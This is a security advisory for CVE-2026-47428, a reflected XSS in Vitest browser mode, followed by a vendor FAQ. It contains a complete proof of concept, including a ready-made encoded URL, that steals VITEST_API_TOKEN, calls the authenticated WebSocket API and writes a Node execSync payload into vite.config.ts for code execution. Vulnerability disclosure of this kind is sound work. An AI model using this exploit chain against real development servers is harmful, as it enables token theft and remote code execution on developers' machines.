CVE-2026-47428

Vitest browser mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.

https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48

https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41

The same generated page embeds VITEST_API_TOKEN, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.

Proof of Concept

XSS

For a concrete reproduction, start browser mode in watch mode using the official Lit example:

pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc
cd vitest-poc
pnpm install
pnpm test

By default, Vitest serves the browser runner HTML and WebSocket API at http://localhost:63315.

Open the following URL:

http://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)

The otelCarrier query value is inserted into the generated inline module script as JavaScript source:

otelCarrier: (alert("xss via otelCarrier"),null),

Loading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.

RCE via config write

A full local RCE proof can use the same injection point to recover window.VITEST_API_TOKEN, connect to /__vitest_browser_api__, and call triggerCommand("writeFile", ...) to modify the local vite.config.ts.

The PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.

This PoC imports flatted from a CDN to keep the payload compact.

(setTimeout(async()=>{
  const s = window.__vitest_browser_runner__
  const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/[email protected]/+esm')
  const p = location.protocol === 'https:' ? 'wss:' : 'ws:'
  const q = 'type=orchestrator&rpcId=poc-' + Date.now()
    + '&sessionId=' + encodeURIComponent(s.sessionId)
    + '&projectName=' + encodeURIComponent(s.config.name || '')
    + '&method=' + encodeURIComponent(s.method)
    + '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')

  const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)
  const pending = new Map()

  function call(m, a = []) {
    const i = crypto.randomUUID()
    ws.send(stringify({ t: 'q', i, m, a }))
    return new Promise((resolve, reject) => {
      pending.set(i, { resolve, reject })
    })
  }

  ws.onmessage = (event) => {
    const message = parse(event.data)
    const promise = pending.get(message.i)
    if (!promise) {
      return
    }
    pending.delete(message.i)
    if (message.e) {
      promise.reject(message.e)
    }
    else {
      promise.resolve(message.r)
    }
  }

  ws.onopen = async () => {
    const configPath = 'vite.config.ts'
    const original = await call('triggerCommand', [
      s.sessionId,
      'readFile',
      configPath,
      [configPath, 'utf-8'],
    ])

    const injected = `
import("node:child_process").then(lib => {
  lib.execSync('touch ./rce-poc')
  console.log('RCE success')
})
`
    await call('triggerCommand', [
      s.sessionId,
      'writeFile',
      configPath,
      [configPath, injected + original],
    ])

    alert('POC: vite.config.ts modified to trigger RCE on config reload')
  }

  ws.onerror = () => alert('POC: browser api websocket failed')
},0),null)

The following URL is the same script encoded as the otelCarrier query value:

http://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull)

This issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.

In the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into vite.config.ts. Vitest/Vite then reloaded the config, executing the injected config code in Node.

This is related in impact to GHSA-9crc-q9x8-hgqq: that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-47428 has a CVSS score of 9.6 (Critical). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.1.6, 5.0.0-beta.3); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-47428? CVE-2026-47428 is a critical-severity cross-site scripting (XSS) vulnerability in @vitest/browser (npm), affecting versions >= 4.0.17, < 4.1.6. It is fixed in 4.1.6, 5.0.0-beta.3. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2026-47428? CVE-2026-47428 has a CVSS score of 9.6 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @vitest/browser are affected by CVE-2026-47428? @vitest/browser (npm) versions >= 4.0.17, < 4.1.6 is affected.
4. Is there a fix for CVE-2026-47428? Yes. CVE-2026-47428 is fixed in 4.1.6, 5.0.0-beta.3. Upgrade to this version or later.
5. Is CVE-2026-47428 exploitable, and should I be worried? Whether CVE-2026-47428 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-47428 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-47428?
   • Upgrade @vitest/browser to 4.1.6 or later
   • Upgrade @vitest/browser to 5.0.0-beta.3 or later